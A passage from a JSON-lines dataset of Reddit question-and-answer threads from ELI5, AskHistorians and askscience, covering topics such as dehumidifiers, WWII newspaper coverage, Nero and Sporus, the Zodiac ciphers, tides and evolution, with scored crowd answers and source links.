steam dissapears into the air? The air is made up of all kinds of molecules. Oxygen, Nitrogen, Hydrogen, Carbon Dioxide and yes water. Your dehumidifer is doing the opposite of boiling water. It is cooling the air that it sucks in which condescending the water in the air and collects in the bucket reducing the water in the air and thus \"dehumidifying\" the air. ", "Your house is not sealed. There is air comming in and out of it all the time, and that without you knowing. This is an actual big issue with some houses, specialy in cold climate, like canada. Why? The main heat loss is not the heat passing throught the wall, but the air leakage. If you seal up the house, then the inside air become unhealthy, so an air exchanger is then required (which actually is better, as it can recover a good part of the heat, plus control the amount of air change).\n\nAll that to say that since the air is leaking, all that water come from the air that leak in from outside, which is more humide.\n\nIf you didn't had one, then the water would just go out with the air, and you would end up with the same humidity as the outside air .\n\nBTW, if you have a floor drain, or a sumbpump well somewhere near, many/most dehumidifier can be fitted with a hose to drain it by gravity.\n\nTake note that there is also other source of humidity: concrete ain't fully sealed and does let some humidity in. Cooking also make humidity, so does breathing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "49u4m4", "title": "Did people follow WWII events as closely as we follow wars today?", "selftext": "I thought about how /r/syriancivilwar is able to record movements of different brigades and conquest of different small territories such as villages and hills. Did newspapers or groups follow WWII as closely as we do today?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49u4m4/did_people_follow_wwii_events_as_closely_as_we/", "answers": {"a_id": ["d0uw7yy"], "score": [17], "text": ["By reading newspapers and listening to the radio, your average citizen in, say, the UK or the United States, could follow the course of the war in a close manner, certainly not hour-by-hour since the Internet had not been invented yet. But, they could follow it day-by-day, gleaming many important details (of course, these were the general details that the military censors and security officials approved for for release to the news media, with no information about specific units or detailed troop movements!) Below are several selected examples of newspaper headlines from Canada and the United States, describing the Americans' advance on and through the Siegfried Line during the Battle of the H\u00fcrtgen Forest from September 1944 to February 1945.\n\n***Globe and Mail* (Canadian):**\n\nFriday, September 15, 1944:\n\n >  LONDON, Sept. 15 (CP). \u2014 The United States 1st Army smashed the Siegfried Line at its strongest point east of the German gateway bastion of Aachen today and drove along the last 30 miles toward the great industrial city of Cologne and the Rhine. Climaxing an assault that began Thursday, American infantry battered through the main belt of pillboxes and dragon-teeth concrete tank barriers on which Hitler relied to keep invaders from his source of military strength in the Rhineland.\n\nMonday, September 18, 1944:\n\n >  American troops in Germany are well through the Siegfried Line on an 18-mile front east and southeast of Aachen. The first heavy German counter-attack since Lt.-Gen. Courtney Hodges penetrated the line was broken there Saturday and early Sunday, but there is still some fighting around Stolberg.\nThe advance through the Roetgen Forest southeast of Aachen is continuing. The enemy admits the loss, of some fortified positions in this area.\n\nMonday, November 6, 1944:\n\n >  Americans driven out of Schmidt [the tragic climax of the 28th Infantry Division attack; more information can be found [here](_URL_1_)], southeast of Aachen, Saturday struck back with the reinforcing weight of tanks and mobile artillery. They repulsed new German counterblows and made limited advances against strong resistance.\nAir forces teamed with the ground troops, hurling bombs on already-rubbled Schmidt and then strafing the Germans holding the town. Pilots claimed destruction of 10 enemy armored vehicles, and estimated 12 to 15 German tanks were damaged.\nNorthwest of Schmidt, the Americans inched ahead against Germans stubbornly determined to prevent an advance to the Roer River, one of the last barriers before Cologne. Minefields and artillery barrages slowed progress. Near Germeter, infantrymen encircled one small but strongly entrenched German force.\n\nTuesday, February 6, 1945:\n\n >  While the eastward push of the United States 1st Army, now entirely inside Germany, further north was slowed, a gain of nearly two miles northeastward was threatening the system of five dams by which the Germans control the water level of the Roer, main barrier to the Cologne plain.\nVanguards of the 78th Infantry Division, 17 miles southeast of Aachen, were battling up the west bank of the Roer, and were about two miles from the largest of the dams.\n\nMonday, February 12, 1945:\n\n >  Feb. 11 (AP). - The Roer River ran as much as seven feet above normal today, and was two miles wide at one point as a result of the Germans' opening of the control valves at the Schwammenauel and Urft dams. The five-mile-long reservoir behind the Schwammenaul Dam went down 20 feet in 24 hours. The waters flowed north along the United States 9th Army front at from five to seven miles an hour. A flight in an artillery observation plane showed miles of inundated fields, forests and battered German houses along the whole northern sector of the Western front.\n\n***The New York Times* (American):**\n\nThursday, September 21, 1944:\n\n >  East [of] Aachen fighting is in progress in the factory area of Stolberg and enemy pressure is being met near Buesbach. Operating in advance of our ground forces, medium and light bombers hit railway yards at Eschweiler, Dueren and Merzenich, on the Aachen-Cologne line. Mopping up of enemy pillboxes and pockets of resistance continues east of Roetgen and in the Hoefen and Alzen areas, south of Monschau. Enemy counter-attacks in this area were unsuccessful.\n\nThursday, October 10, 1944:\n\n >  Southeast of Aachen, 1st Army forces fighting through the gloomy Hurtgen Forest were within two miles of the town of that name and were engaged in heavy fighting six miles from Duren, 20 miles from Cologne.\n\nand\n\n >  Throughout the Aachen sector we are encountering considerable enemy artillery, small arms and machine-gun fire.\nSouthwest of Huertgen we have renewed our advance in rugged terrain meeting stubborn opposition from German field defenses. An enemy counter-attack was repulsed.\n\nMonday, November 27, 1944:\n\n >  Our forces north of Huertgen are within a few hundred yards of Grosshau and Huertgen itself is under fire from our artillery. Strong points and transportation targets in. the area north of Dueren were attacked. Fighter-bombers attacked a number of pillboxes and gun positions in this area.\n\nFriday, December 15, 1944:\n\n >  In the Juelich-D\u00fcren sector Allied troops, alter overcoming heavy resistance, bare cleared Schophoven. The villages of Mariaweiler and Derichsweiler, west of D\u00fcren, and Gey, farther south, are also in our hands.\nGains have been made in the areas north and south of Monschau. East and southeast of Roetgen our troops have taken Rollesbroich and Simmerath. Progress has been made in the forest area about four miles southeast of Monschau.\n\nSources and suggested reading material:\n\n[The Battle of the Huertgen Forest - Scorpio's Website](_URL_2_)\n\n[*United States Army in World War II, The European Theater of Operations: The Siegfried Line Campaign](_URL_0_), by Charles B. Macdonald\n\n[The *Objective: Schmidt* extract](_URL_1_) from [*Three Battles: Arnaville, Altuzzo, and Schmidt*](_URL_3_), by Charles B. MacDonald\n\n*A Dark and Bloody Ground: The H\u00fcrtgen Forest and the Roer River Dams 1944-1945*, by Edward G. Miller\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.history.army.mil/books/wwii/Siegfried/Siegfried%20Line/siegfried-fm.htm", "http://history.amedd.army.mil/booksdocs/wwii/Schmidt2/default.htm", "http://home.scarlet.be/~sh446368/home.html", "http://www.history.army.mil/html/books/011/11-7-1/CMH_Pub_11-7-1.pdf"]]}
{"q_id": "16b345", "title": "When I pour sugar into microwaved water, why does it fizz, whereas when I pour sugar into water boiled on the stove it does not?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16b345/when_i_pour_sugar_into_microwaved_water_why_does/", "answers": {"a_id": ["c7ue57k", "c7ufp3n", "c7uicnf", "c7uobjx"], "score": [1073, 11, 9, 22], "text": ["The likely reason would probably go like this:\n\nTap water tends to contain a decent amount of dissolved air in it, and gases are less soluble in hot liquids than cold ones. So boiling water removes most of the dissolved gas, which you can actually see if you look closely at boiling water, as there are no small bubbles around once it's boiled for a while. \n\nIf you heat water in the microwave, it heats up much faster. It'd also typically be in a smaller container, with ~~less~~ more surface area for the bubbles to form (nucleate) on. For which reason you have to be a bit careful with microwaving water, as it might not form steam bubbles (i.e. boil) at all either. Instead becoming superheated, only to suddenly and dangerously flash-boil once you stick a spoon or something into it. So you're more likely to end up with a significant amount of air still dissolved in your microwaved water.\n\nWhen you then pour the sugar into the hot microwaved water, you're suddenly providing a whole lot of nucleation sites and allowing the still-dissolved air to escape in a fizz, while in the stove-boiled water it's already escaped. \n\nIt's much the same thing as the famous menthos-in-coke phenomenon, except that it's a small amount of air and not a large amount of CO2 being released.\n", "I'd like to remind people who might be curious about trying this at home that **superheating** water in the microwave can sometimes cause a \"pop\" or an \"explosion\" once the surface area is broken.\n\nmythbusters link: _URL_0_", "Pouring things into water heated in a microwave is just begging for a wide-area burn.\n\nI was downvoted by people who don't know about this:\n\n_URL_0_", "_URL_0_\n\nWhen you boil water on the stovetop, you boil out the oxygen in the water.  \n\nWhen you heat water in the microwave, you can superheat it while still maintaining the nearly the same oxygen content.  When you add the sugar to microwaved water, you are giving all of that oxygen a place to attach (nucleation at the edges of the sugar crystals) and collect into bubbles.\n\nThe lack of oxygen in stovetop boiled water prevents this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=1_OXM4mr_i0"], ["http://www.fda.gov/Radiation-EmittingProducts/RadiationEmittingProductsandProcedures/HomeBusinessandEntertainment/ucm142506.htm"], ["http://en.wikipedia.org/wiki/Nucleation"]]}
{"q_id": "58gciy", "title": "are there any concrete benefits to breathing in through the nose and breathing out through the mouth vs. doing both using only one hole?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58gciy/eli5_are_there_any_concrete_benefits_to_breathing/", "answers": {"a_id": ["d906lpu", "d90aef7", "d91g7nx"], "score": [6, 3, 3], "text": ["Inhaling through your nose slows and regulates your breathing which can lower your blood pressure and anxiety levels, and is generally good for you. It can also help maximize oxygen absorption. ", "Breathing in from your mouth during heavy exercise will result in a stitch. Also less effective method of delivering oxygen to your blood.", "As an interesting aside, I've heard that in Russia (and I'm sure other cold countries) people have naturally adapted ways of keeping warm and conserving heat. One of them is breathing through the nose to avoid any unneccesary heat loss (smaller holes, you know)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2i0rrv", "title": "What major hurdles would a business like McDonald's face in order to make a fully robotic/computer ran facility?", "selftext": "No physical workers needed unless for networking/maintenance/stocking purposes. No customer interaction.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2i0rrv/what_major_hurdles_would_a_business_like/", "answers": {"a_id": ["ckxwwms", "ckxwybo", "ckxwzuo", "ckxx1l1", "ckxxo2n", "ckxyqym"], "score": [4, 5, 7, 2, 3, 5], "text": ["I suspect space might be one of the largest physical hurdles in this. While robots and computers can easily perform specialized tasks, making one machine or computer to do a multitude of tasks is much harder. Machines take space to operate and you'd likely need separate machines for tasks such as flipping burgers and filling up the Apple Pie warmer.\n\nSocially, McDonalds hires a lot of workers. There would probably be considerable social outrage if they were to let all these workers go and replace them with robots. ", "Cost.  You can make an automated McDonalds minus stocking, but it's very expensive to cook/time/handle all the materials with machines.  There are some fully automated store fronts where employees produce meals and load them into basically a vending machine.", "Cost, safety which is a component of cost, and the reception of the consumer to having to order and pay in some kind of interface when a large group of people can't even figure out credit card terminals at the grocery store. Additionally, wherever the food comes out you'd have to make sure it got I the right person though that would probably be easier in a situation like this where wait times are considerably less.\nTechnology wise, everything they need to make this happen exists, it would just be costly to make it foolproof and safe.\n\n\n\nIf they did automate the food assembly portion you would honestly end up with better food presentation than what you currently get which would be nice.", "Fully? Right now?       \nJust off the top off the top of my head from working burger joints for years...    \nLimited capacity to deal with customer complaints.    \nProbably a higher target for robbery.    \nLabor rights complains (although I doubt they would care too much about this one).    \nLimited capacity to deal with customers who have impaired communication abilities. (for instance deaf customers who write down orders on paper and hand it to you... Or drunk customers who cant even use the ATM, I have seen a drunk guy rip out a mic / speaker stand at a McDonald's drive through because he couldn't understand whats being said...)", "Actually it's got more to do with application design.  However, with robots like Baxter, a direct human replacement for standard human stations, it is much easier to do now.  However with good design, the capital costs will disappear in the first few month.  I think the problem has more to do with perceived resistance.  Car makers have always maintained that humans didn't want automated cars because the customer prefers to drive.  Google has proven this wrong with tons of studies and a successful design.  MIT has been developing a nurse's aid robot to do things like deliver oral medicines, help people walk, and sponge baths.  The research found that with a friendly screen face (Baxter has one, too) and well timed \"ummm\"s and \"ahhhs\" and other grunts like responses, people start talking to the robot.  The robot can also listen for key words like \"chest pain\", \"dizziness\",  \"nausea\" and other words, it can report to the nurses and even pass on questions and answers.\n\nSo redesign the cooking area for simple automation with baxter-like robots inter mingles and a few humans and you get a hybrid system that is far less costly do to lack of human labor.  This will start happening for our cars, too.  You can already change out a turbine engine on a Abrams tank in under 30 minutes and it is cheaper to ship it back to a depot for repair.  When we design for fully robotic and hybrid robotics applications, it will all end up being cheaper than all human systems.   ", "I know a bit about automation, especially in the food industry and the simple answer is this:\n\n**Labor is cheap, flexible, and gets the job done quickly. ** I guarantee you that if McDonald's thinks it would be more cost and/or time effective to replace a worker with a machine, they will. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "g3c9io", "title": "How did Romans view Sporus, the boy that Nero castrated and took as a wife?", "selftext": "I've read that after kicking his pregnant wife Poppaea to death, Nero castrated a boy who resembled her and took him as his wife. It seems to me that it must have been relatively accepted, as Nymphidius Sabinus then took Sporus as a wife after Nero's suicide. Further reading shows that Sporus was addressed as \"Mistress\" and occasionally \"Empress\", but was this sort of sexual identity considered taboo in ancient Rome? Would people have been aware of Sporus's situation?\n\n Would it have been viewed as another sign of Nero's power? Or did people not understand the circumstances and assume that Sporus was born female? On that note, was Sporus what we consider today to be transgender, or was this a situation that he was forced into in conflict with his own accord?\n\nFurthermore, I've read that Nero also took a husband, Pythagoras. What was his reason for doing this?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/g3c9io/how_did_romans_view_sporus_the_boy_that_nero/", "answers": {"a_id": ["fns1wli"], "score": [171], "text": ["Forewarning that I\u2019m not a specialist on gender roles or homosexuality in Ancient Rome and my knowledge comes more from broader studies of Roman society in the first century AD and the reign of Nero. Hopefully if I make any mistakes someone more specialised on this exact subject can clarify/correct me below. \n\nSo to answer your last question about what gender Sporus would be considered: the Romans did not have the same distinctions such as \u201ctransgender\u201d that we have today so it would be difficult to make a direct equivalent comparison. Instead it is assumed that Sporus belongs to a subset known in Rome as a \u201cpuer delicatus\u201d - a \u201cdelicate boy\u201d who were known for their youthful and effeminate looks and generally groomed for sexual favours by their master. A more well known term might be \u201ccatamite\u201d. Specifically these were slave boys and not free Roman men (puer, Latin for boy, is to be distinguished with vir, Latin for man - which a slave would not be called regardless of his age). \n\nAs to how the Romans viewed Sporus we can look at this within the broader context of puer delicatus within Roman society, and then look at the circumstances of Sporus in particular. \n\nPuer delicati were relatively common in Ancient Rome among the elite. For example the emperor Augustus was known to have one called Sarmentus. In Suetonius\u2019 account of Augustus\u2019 life he tells us that Mark Antony made scandalous accusations against Augustus in an attempt to tarnish his reputation: these were mainly that he had sold his body to leading men (including Julius Caesar) - but crucially there is no mention of his Puer Delicati. In fact Suetonius instead tells us that Augustus was a womaniser who enjoyed deflowering virgins. This overlooking of Sarmentus links to how the Romans viewed homosexual relationships and sex. For the Romans what was more important was who was submissive/dominant in the relationship: having sex with a male slave is not scandalous as they are clearly submissive to their master, on the other hand prostituting yourself or sleeping with freeborn men is more scandalous because socially they would be considered equals.  \n\nIn the *Satyricon* by Petronius, a fictional \u201cnovel\u201d (in a loose sense of the word), a decadent and extravagant freedman called Trimalchio, known for his vulgarity, makes mention of his frequent sexual relations with one of his slaves, a puer delicati, who we are told was also frequented by Trimalchio\u2019s wife too. This may be taken as a source of Trimalchio\u2019s vulgarity, but it seems to be the *way* in which Trimalchio frequents his delicati that is considered tasteless, showering him with gifts and showing him too much affection. But Trimalchio having a delicati in itself is not considered vulgar, in fact the main character of the Satyricon has a younger male lover himself! \n\nThe emperor Domitian was known for having a puer delicati, Earinus, who is openly praised in the contemporary literature. For example the poet Statius compared their relationship to Zeus and Ganymede, who in mythology was a young boy known for his looks, swept up by Zeus to Olympus to serve as his cupbearer. Statius also wrote other poems favourably describing these relationships for other contemporary elites. In Statius\u2019 poetry there is a clear affectionate relationship between the master and his delicati, in direct contrast to Trimalchio who for similar affection seems to be portrayed as vulgar or distasteful. \n\nSo the conclusion about how Romans viewed these types of relationships is a bit contradictory! But we can make some conclusions that will be applicable to Nero:\n\n- puer delicati were always slaves, and always in a submissive role towards their master\n- they were far more common in Rome than we might imagine, though mainly among the elite\n- though these relationships can be affectionate, showing too much affection or pushing the boundaries of the submissive/dominant relationship seems to be what causes backlash\n\nWith this in mind let\u2019s turn to Nero. Unfortunately no contemporary accounts survive that discuss the incident and how the Roman\u2019s reacted, and so we are left to look at how later accounts perceived the incident to make an assumption of how the moment lingered in the popular imagination at the time. \n\nOur two main accounts are Suetonius and Cassius Dio. Suetonius emphasises the castration, and how Nero made Sporus wear a bridal veil for a wedding and treated him as a wife. We are not sure exactly how common it was to castrate delicati but the fact he emphasises this for Nero suggests it was part of what was surprising about the incident. But of course the most \u201cscandalous\u201d part is how Nero treats Sporus as a wife, both breaking the gender roles and subverting Roman expectations of the purpose of marriage - Nero here seems to be marrying out of lust (discussed a bit below). Later in his account Suetonius also says Nero was married to his freedman Doryphorus, and here played the woman\u2019s role himself, \u201cimitating the cries and lamentations of a maiden being deflowered\u201d (point 29). Here Nero\u2019s submissiveness, especially to a former slave, completely usurps the perceived \u201cnorm\u201d for these sorts of relationships. As Caroline Vout explains, both the incidences with Sporus and Doryphorus were shocking in the sense that Nero has subverted the \u201cnatural order\u201d of things, which is a recurring theme of his account of Nero. \n\nBut Cassius Dio offers a different focus, in his account Nero marries Sporus because he resembles his late wife, Poppaea Sabina, whom Nero had recently Murdered. Dio tells us that Nero would call Sporus \u201cSabina\u201d and it was because of their resemblance that Sporus was castrated. Dio then tells us that Pythagoras (possibly they Doryphorus mentioned in Suetonius) also shacked up with Nero; with Pythagoras acting as Nero\u2019s husband and Sporus as Nero\u2019s wife. (Dio, 63.13.1) Interestingly Dio tells us that this marriage took place in Greece, and that the Greeks celebrated the event as they might a festival. They even made prayers that Sporus may bear Nero children (to which both Dio and Suetonius relate a joke that the Romans use to say about the incident, where they wished Nero\u2019s father Domitius had married a wife like Sporus instead of Agrippina - I.e they wish he had never been born). We perhaps here see the different cultural perceptions of the incident, in Greece the event was not seen as shocking as in Rome. \n\nAfter Nero\u2019s death, Sporus then became an associate of emperors Galba, Otho and Vitellius during the civil war that followed - Vout suggests he went then from \u201cbride\u201d into imperial mascot, offering some form of legitimacy to their reigns by association with Nero. \n\nAs to the incident of \u201cmarriage\u201d between Sporus and Nero - I don\u2019t know much about homosexual marriage in Rome but contemporary poets Juvenal and Martial both offer criticisms of this form of marriage. This ties into two big ideas around the concept - namely that Roman heterosexual marriages traditionally served a purpose for childbearing or cementing family ties, and so a marriage that cannot bear children is perceived as one solely done out of lust (tying into Suetonius\u2019 comments on Sporus) which goes against Roman virtues and morals. Secondly there is a connection with \u201cGreekness\u201d or more loosely barbarity - Juvenal and Martial connect these types of marriages to Greek philosophers - ridiculing them for claiming intellectual authority whilst at the same time giving into their desires. This may then tie into Dio\u2019s connection of the Sporus incident with Greece - the Romans saw Nero\u2019s marriage to Sporus within the context of him abandoning his Roman-ness in the pursuit of Greek artistic and cultural pursuits. \n\nSo we can assume the Romans would have reacted to Nero\u2019s marriage to Sporus in certain ways relating to their own understanding of marriage and relationships between men and puer delicati:\n- they would not be shocked, outraged etc. About Nero having a relationship with a Puer Delicati, as these were already prevalent in Rome among the elite. \n- they would probably be shocked by Nero\u2019s perceived attempts to subvert the natural order of things by placing a male in a female role, and conversely by Nero\u2019s submission to his male lovers. \n- the marriage would be seen as one of lust and \u201cun-Romaness\u201d due to the marriage undermining the traditional role of marriage and the association of homosexual marriage to Greek culture. \n- the jokes about Nero\u2019s father suggest the Romans ridiculed Nero for the act, but Dio\u2019s comments about how the Greeks responded to the marriage suggest cultural differences produced different reactions among different people.\n- linking back to Trimalchio and the other puer delicati - the affection Nero had for Sporus is explained away by his similarity in looks to Poppaea, but the affection Nero placed on Sporus may have been seen as vulgar, or as we saw with Domitian and the poems of Statius may be quite common of the relationships between Roman men and puer delicati. But without contemporary reactions to the incident we can only make assumptions. \n\nHope this helps in any way! Some books on the matter:\n\nCaroline Vout, *Power and Eroticism in Imperial Rome*\n\nEdward Champlin, *Nero* \n\nA quick book search also turned up: *Transantiquity, cross dressing and transgender dynamics in the Ancient World* (which I haven\u2019t read but may be of interest!) _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.co.uk/books?id=sC0lDwAAQBAJ&amp;printsec=frontcover&amp;dq=Transgender+Rome&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjh8PGM8fHoAhUrNOwKHbiHCSgQ6AEIOzAD#v=onepage&amp;q=Transgender%20Rome&amp;f=false"]]}
{"q_id": "ch80bj", "title": "why do humans have such vastly different personalities, even though biologically we are all \u201cwired\u201d very similarly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ch80bj/eli5_why_do_humans_have_such_vastly_different/", "answers": {"a_id": ["euq9tso", "euqdq8v", "euqix4n", "euqj0dk", "euqkuqe", "euql6yx", "euqpx1a"], "score": [32, 80, 8, 3, 4, 2, 2], "text": ["I studied brain science in university.\n\nThe variations are really fairly modest, compared to all possible personalities. But humans have evolved to have diverse personalities because, as a social species, we do better when various people specialize in various ways of behaving.", "Honestly most of us are pretty similar, perhaps so similar that we tend to notice the small ways in which we are different, rather than the big ways in which we are alike.", "Because we aren't wired the same. Think of it like houses. While they look the same, they have a roof, some walls, a floor, windows, they are not the same at all.", "There are a couple explanations here as to why that might be useful, but as to the actual cause, human brains are plastic. The ability to learn and adapt based on our experiences is what makes us so successful. This plasticity is generally what causes us all to be so different as individuals. Our experiences shape who we are.", "because even small differences can be significant, like if your maximum reach is 199cm but a shelf is 200cm high, you're never going to be able to reach that shelf unaided.\n\nalso even though siblings can be born to the same parents in the same environments [they can end up with different personalities based on birth order](_URL_0_)", "There are a lot of way to answer:\n\n1) Humans (and their ancestors) had a lot of different problems to solve in order to survive. If every human behaved exactly the same, we would all have survived when taking a good decision, but all have died when taking our first bad decision. RIP humanity. In order to survive, we evolved into having different behaviours, depending on a lot of random factors. So that hopefully there will always be at least one of us which will find a solution to the deadly problem we find.\n\n2) Psychology is a mess. But in short and very simplified, we're just learning machine, that try to find the appropriate behaviour in each context depending on our memories and experience. We all have drastically different memories and experience, so we came up with different behaviours to react to interactions. All our brains are essentially \"wired\" in the same \"reproduce the behaviours that worked in a similar situation\" way, with very lose definition of \"worked\".", "Because personality comes from the upbringing, the ups and downs of life, and ones environment.\nCant really put into words why we can have different personalitied or similar personalities :D.\n\nThe genetics in it, i believe is a few small traits, like not liking something, but i dont believe our personality is affected by genetics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://jfi.sagepub.com/content/27/4/506.abstract"], [], []]}
{"q_id": "61gvsw", "title": "why are the zodiac killer's notes so hard to decipher?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/61gvsw/eli5_why_are_the_zodiac_killers_notes_so_hard_to/", "answers": {"a_id": ["dfeegpy", "dff9gt4"], "score": [53, 4], "text": ["Anyone can make a note that's impossible to decipher.  The easiest way is to just not have any actual information in it, to not actually have it contain a message.  Naturally you can't decipher that.  \n\nThe second way to make a note, and a way that contains actual information, that cannot be deciphered is to use a \"one-time pad\" its where for each symbol in the message you have a corresponding random operation on it.  For example I take the message \"MURDER MURDER\" using the order of letters in the alphabet that message is just \"13-21-18-4-5-18 13-21-18-4-5-18\" and I use a one time pad that has random numbers of \"15 09 20 15 10 17 22 14 14 07 00 14\"  If I add the two together I have \"28 30 38 19 15 35 35 35 32 11 5 32\" for all the ones larger than 25 I subtract 25 and I get \"3 5 13 19 15 10 10 10 7 11 5 7\"  the encoded message is \"C E M S O J J J G K E G\".  That message can be easily decode if you have the exact sequence of random numbers I used, if you don't have that its impossible to decode because its otherwise just a purely random  sequence. \n\nThose methods are impossible to decode, and since we don't know whether the message itself actually contains information or if it were just a ploy we can't actually know if its possible to decode.  But even if it is possible to decode, it can still be in practice very hard. Without knowing the method used you don't know what the significant elements of the encoding are.  You look at a picture of symbols, is each symbol one letter? Does the order in the sequence of symbols change what the symbols mean? Does more than one symbol correspond to one letter? You need to find some kernel of meaning to work with.  Otherwise its just guessing based on how human psychology might try encrypting something, and if you rely on that to deal with someone of atypical psychology who knows how likely you are to find an answer.", "You decipher a message by looking for patterns. He does not use the same cipher in all messages.\n\nThe shorter messages have too few symbols to see any pattern. So even if you guess that the first few symbols translate to \"zodiac,\" most of those symbols will only occur once in a short message. So you are still just guessing about the rest of the symbols. In a longer message you are more likely to see some of those symbols together again, like \"a?d\" or \"d?ad\" and guess new letters, \"and\" or \"dead.\"\n\nThere are two long messages, the Zodiac 408 cipher and the Zodiac 340 cipher, named for the lengths of the messages. Study the 408 cipher first. He took away a couple of helpful patterns: word length (by taking out spaces), and letter frequency (using 59 symbols to represent 23 letters).\n\nWithout spaces codebreakers could not look for common 3-letter words like \"the\" and try to match it with other common words like \"these\" or \"this.\" As for letter frequency, \"e\" is the most common letter, but he used seven different symbols to represent it, so some other symbol was now most common.\n\nDespite this, a pair of amateurs quickly broke the 408. They figured he would use the word \"kill.\" The message started, \"ilikekilling,\" or \"ilik?killi??.\" It was a bit more complicated than that, since he used four symbols for \"I:\" triangle, p, u, backwards k. (In that order, then repeat the list, if my notes are correct.) He also used one symbol for k and three for l. (Later in the message he seemed to get bored with getting the correct next symbol from his list.)\n\nSo why is the 340 so hard? He must have added some other complication. In my opinion he is using a system similar to 408, but not something as complex as a one-time pad or a Vigenere. I think I see a pattern, and he is scrambling the letters, not haphazardly, but in a regular system.\n\nThere does seem to be a message here. We know from 408 that he does not care about misspellings. But in 340, the character sixth from the top and sixth from the right has been scratched out and replaced with a backwards k. In my opinion it is not because he put the wrong character there, but because he put a character in the wrong position on the grid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "244i3f", "title": "What is the best Da Vinci biography?", "selftext": "I've been watching the showtime show, I know there is very little accuracy in it, but I've become pretty interested in him as a person and his life. What is best book that can teach me more about him?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/244i3f/what_is_the_best_da_vinci_biography/", "answers": {"a_id": ["ch42668"], "score": [2], "text": ["I am not sure if I can answer this without my comment being removed since it is based on my opinion and not on a peer reviewed research, but as a person who deals with Italian art and literature on daily basis, the best literature pointers for da Vinci's life and work can be found [here](_URL_0_) \n\nAndr\u00e9 Chastel's L\u00e9onardo de Vinci par lui-m\u00eame,  is also very, very good. \n\nIf you want a biography as close to the times of Leonardo as possible, Vasari is always a good choice, and I believe his work is in public domain, too. \n\nNow, it goes without saying that these are just my opinions and that other scholars and students may find other sources more useful than the ones I have listed here.\n\n**N.B.** I do not know how many, if any of these works are available in English."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bibliotecaleonardiana.it/bbl/bb-leo/bb-leo-elenco-pubb.shtml"]]}
{"q_id": "18vwbj", "title": "Do tidal forces between pairs of celestial bodies always cause a bulge on the sides closest to and furthest from their respective partner?", "selftext": "The Moon causes high tides on the sides of the Earth closest and furthest from it due to the variation of force across the Earth (thanks to this [page](_URL_0_)). Would you get bulges in the land mass of the sides of Europa closest to and furthest from Jupiter (or Titan and Saturn etc.)? Or just on the closest side? Or is this just a quick of the magnitude of the gravitational force between the Earth and the Moon?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18vwbj/do_tidal_forces_between_pairs_of_celestial_bodies/", "answers": {"a_id": ["c8ihrox", "c8ihu2g"], "score": [2, 2], "text": ["Yes, the tidal force lends itself to a bulge in both the near and opposing sides of a sphere with an orbiting body, creating an ellipsoid. It's worth noting, of course, that a solid rocky body is going to deform less than a liquid surface though. ", "No this always happens. I found the explanation on that page a bit confusing and personally think [this image](_URL_1_) is much clearer. The gravitational force from the moon is smaller on the far side than in the center, so there is a bulge on the far side due to the difference in the forces. This is completely analogous to why the bulge formes on the near side and happens everywhere. It can be seen for example in [merging galaxies](_URL_0_)."]}, "title_urls": [], "selftext_urls": ["http://www.lhup.edu/~dsimanek/scenario/tides.htm"], "answers_urls": [[], ["http://kicp.uchicago.edu/research/highlights/images/highlight-060312-3_large.jpg", "http://en.wikipedia.org/wiki/File:Tidal-forces.png"]]}
{"q_id": "36j38i", "title": "theory of evolution", "selftext": "Hi guys, can anyone explain not why evolution happened, but how plants and animals were able to adapt and evolve to form into different species. What are the mechanisms in an animals cells, and I guess brain too, that allow it to change bodily functions and forms to fit their environment? I hope this question makes sense. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36j38i/eli5_theory_of_evolution/", "answers": {"a_id": ["credt81", "credxf9", "credyn4", "cree2fm"], "score": [11, 4, 4, 9], "text": ["It's not something that happens to an individual animal or plant - there is no \"evolution mechanism\" in cells. The way it works is, thanks to sexual reproduction each new animal's genetic code is a mix between its two parents, combined with some random mutations. Some of those mutations are harmful to the animal, some are beneficial, and the large majority are benign. Those animals with beneficial mutations will reproduce more successfully than those with harmful or benign mutations, which means future generations will have a higher frequency of those genes. Evolution is basically that process, repeated over billions of years.", "As people have stated, it not like an animal sees a need to fly and suddenly decides to grow wings. Its more like an animal randomly grows wings and they happen to fit a need.\n\nObviously the change is very slow and gradual but I just wanted to get across the point that theres no intent behind an animal changing. Its random.", " >  that allow it to change bodily functions and forms to fit their environment? \n\nOne of the key misunderstandings is that it doesn't 'intelligently' fit animals and plants to the environment. The 'data' that says how to build a body gets errors when it is copied to make a new body. Some of those errors result in changes to the body. \n\nA lot of those errors don't do much, or result in a dead organism. Some, result in changes that are helpful. Some result in changes that aren't helpful.\n\nThe helpful changes are more likely to *not die.* So when you look at a species thousands of years later, it looks like evolution 'designed it' to fit its environment better. This is an illusion however, simply caused by all the 'bad designs' having died and rotted away. ", "This is a good question, and comes from a misunderstanding of natural selection, which is very common, because it's a complicated topic.  You're thinking of Lamarckian evolution, which was proven false (mostly) a long while back.  Lamarck's idea was like yours: somehow a horse-like creature managed to stretch its neck to eat high leaves on a 